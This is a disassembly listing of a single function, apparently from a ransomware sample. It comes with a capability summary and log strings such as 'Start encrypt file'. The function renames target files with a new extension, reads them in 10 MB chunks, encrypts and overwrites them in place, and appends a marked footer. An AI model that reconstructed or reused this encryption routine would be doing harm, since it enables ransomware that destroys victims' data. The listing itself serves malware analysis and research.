Function at 0x402490
Capabilities:
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x29f4
call fcn.0040f9c0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
push str.Start_encrypt_file:__ws_n
call fcn.004060c0
push 0x830
xor esi, esi
lea eax, [ebp - 0x970]
push esi
push eax
call fcn.00410280
movzx ecx, word [edi]
add esp, 0x14
test cx, cx
je 0x4024e5
xor eax, eax
nop
inc esi
mov word [ebp + eax - 0x970], cx
lea eax, [esi + esi]
movzx ecx, word [eax + edi]
test cx, cx
jne 0x4024d0
call fcn.00408250
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov ebx, dword [eax + 4]
mov dword [ebp + 8], ebx
cmp dword [ebp + 0x10], ecx
je 0x402569
mov eax, 0x2e
mov word [ebp + esi*2 - 0x970], ax
inc esi
mov eax, dword [ebx + 0x3d0]
mov al, byte [eax]
test al, al
je 0x402539
lea edx, [ebp - 0x970]
lea edx, [edx + esi*2]
nop dword [eax]
cbw
lea ecx, [ecx + 1]
lea edx, [edx + 2]
mov word [edx - 2], ax
mov eax, dword [ebx + 0x3d0]
mov al, byte [ecx + eax]
test al, al
jne 0x402520
lea eax, [ebp - 0x970]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x402569
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.____MoveFileW__ws__error__code:__d_n
call fcn.00406130
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x970]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x2c], ebx
cmp ebx, 0xffffffff
jne 0x4025ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x4025c0
cmp eax, 0x21
je 0x4025c0
push eax
lea eax, [ebp - 0x970]
push eax
push str.____CreateFileW__ws__error__code:__d_n
call fcn.00406130
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x10], 0
je 0x4025e4
push edi
push str.____File__ws_is_locked_by_another_process._Try_unlock_n
call fcn.00406130
lea eax, [ebp - 0x970]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402940
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push ebx
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x40262e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____GetFileSizeEx__ws__error__code__d_n
call fcn.00406130
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov eax, dword [eax + 0x3064]
cdq
push edx
push eax
call fcn.0040f850
push 0
push 0x64
push edx
push eax
call fcn.0040f7a0
push 0
push 0x40
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.0040f890
mov ecx, eax
or ecx, edx
je 0x402677
mov ecx, 0x40
sub ecx, eax
mov eax, 0
sbb eax, edx
add esi, ecx
adc edi, eax
test edi, edi
jg 0x4026a0
jl 0x402685
cmp esi, 0x500000
jae 0x4026a0
mov eax, dword [ebp - 0xc]
xor edi, edi
mov esi, 0x500000
test eax, eax
jg 0x4026a0
mov ecx, dword [ebp - 0x10]
jl 0x40269c
cmp ecx, esi
jae 0x4026a0
mov esi, ecx
mov edi, eax
push 0
push 0xa00000
push edi
push esi
call fcn.0040f7a0
mov dword [ebp - 0x18], eax
imul eax, eax, 0xa00000
push 0
push 0x40
cdq
sub esi, eax
mov dword [ebp - 8], esi
sbb edi, edx
mov dword [ebp + 0x10], esi
push edi
push esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
call fcn.0040f890
mov ecx, eax
or ecx, edx
je 0x4026eb
sub esi, eax
mov eax, edi
sbb eax, edx
add esi, 0x40
mov dword [ebp + 0x10], esi
adc eax, 0
mov dword [ebp - 0x1c], eax
push 0xa00000
call fcn.00406330
mov ecx, dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x140]
add ecx, 0x1540
push eax
push edi
push dword [ebp + 0xc]
push ecx
call fcn.00401fb0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.00404030
mov ecx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x20
cmp dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
jle 0x4027bd
push 0
lea eax, [ebp - 4]
push eax
push 0xa00000
push edi
push ebx
call ecx
test eax, eax
je 0x402844
xor esi, esi
nop word [eax + eax]
lea eax, [esi + edi]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.00402f60
add esi, 0x40
add esp, 8
cmp esi, 0xa00000
jl 0x402760
push 1
push 0
push 0xffffffffffffffff
push 0xff600000
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push 0xa00000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40282f
mov esi, dword [ebp - 0x14]
mov ecx, dword [sym.imp.KERNEL32.dll_ReadFile]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, dword [ebp - 0x18]
jl 0x402741
mov eax, dword [ebp - 8]
test eax, eax
je 0x402878
push 0
lea edx, [ebp - 4]
push edx
push eax
push edi
push ebx
call ecx
test eax, eax
je 0x402844
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x4027fe
mov ebx, dword [ebp + 0x10]
lea eax, [esi + edi]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.00402f60
add esi, 0x40
add esp, 8
cmp esi, ebx
jl 0x4027e1
mov ebx, dword [ebp - 0x2c]
mov esi, dword [ebp - 8]
mov ecx, esi
mov eax, dword [ebp - 0x20]
neg ecx
push 1
adc eax, 0
push 0
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40287b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____WriteFile__ws__error__code__d_n
jmp 0x402857
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____ReadFile__ws__error__code__d_n
call fcn.00406130
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004063c0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x1c]
sub eax, esi
mov dword [ebp - 0x100], eax
sbb ecx, dword [ebp - 0x20]
mov dword [ebp - 0xfc], ecx
call fcn.00407bb0
mov dword [ebp - 0xf8], eax
call fcn.00407bb0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xf4], eax
mov eax, dword [ecx + 0x3064]
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0xec], 0xaabbccdd
push eax
mov eax, dword [ebp - 0x24]
add eax, 0x28
mov dword [ebp - 0x30], 0xf5
push eax
push ecx
call fcn.00406fc0
add esp, 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
push 2
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40282f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004063c0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret